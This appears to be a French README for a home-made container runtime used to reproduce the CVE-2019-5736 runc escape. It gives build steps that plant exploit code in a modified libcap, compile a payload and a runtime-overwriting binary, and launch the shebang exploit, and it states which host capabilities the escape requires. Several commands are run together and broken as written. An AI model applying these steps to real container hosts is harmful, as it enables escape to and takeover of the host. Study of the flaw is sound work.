
CVE-2019-5736 implémenté dans un runtime de conteneur auto-écrit pour comprendre l'exploit.
CVE-2019-5736 implémentée à l'aide d'un runtime de conteneur superficiel et auto-écrit pour comprendre l'exploit.
L'exploit est basé sur (et presque entièrement copié de) le runc-poc par twistlock : https://github.com/twistlock/RunC-CVE-2019-5736/tree/master/malicious_image_POC
Voir la documentation du code pour plus de détails.
Usage: quarantine [OPTIONS] [BINARY and its ARGS]
--rootfs: (mandatory) Specify a rootfs for the container.
--urange: Specify a urange start_host:end_host,start_guest.
--grange: Specify a grange start_host:end_host,start_guest.
--uid: Specify the desired UID in the container.
--ugd: Specify the desired GID in the container.
--supp: Append supplementary groups from the specified grange to the process running in the container.
Détache tous les espaces de noms sauf l'espace de noms utilisateur. L'espace de noms utilisateur est détaché dans des circonstances spéciales, c'est-à-dire lorsque urange, grange, uid et/ou gid sont spécifiés.
Cela a été testé et réalisé sur Ubuntu 18.04.
mkdir rootfssudo debootstrap bionic ./rootfsgit clone https://github.com/mhiramat/libcapcat exploit_code_for_shared_lib.c >> <n'importe quel cap*.c, j'ai utilisé cap_alloc.c>makelibcap.so modifiée
sudo chroot rootfsapt install libcap-devlibcap.so.2.25 créé dans le répertoire rootfs approprié
-sudo cp libcap.so.2.25 rootfs/lib/x86_64-linux-gnu
ldd quarantinesudo cp shebang_exploit rootfs/sudo gcc -o rootfs/root/payload payload.csudo gcc -o rootfs/overwrite_sndbx_runtime overwrite_sndbx_runtime.cPar exemple : sudo ./quarantine --rootfs rootfs /shebang_exploit ou ./quarantine --rootfs rootfs --uid 1 /shebang_exploit.
Cela fonctionne tant que vous conservez soit CAP_DAC_OVERRIDE soit CAP_SYS_ADMIN sur l'hôte, c'est-à-dire ne pas détacher l'espace de noms utilisateur lors de l'utilisation de sudo (car cela supprime les capacités dans l'espace de noms parent), ou que vous possédez le fichier sur l'hôte.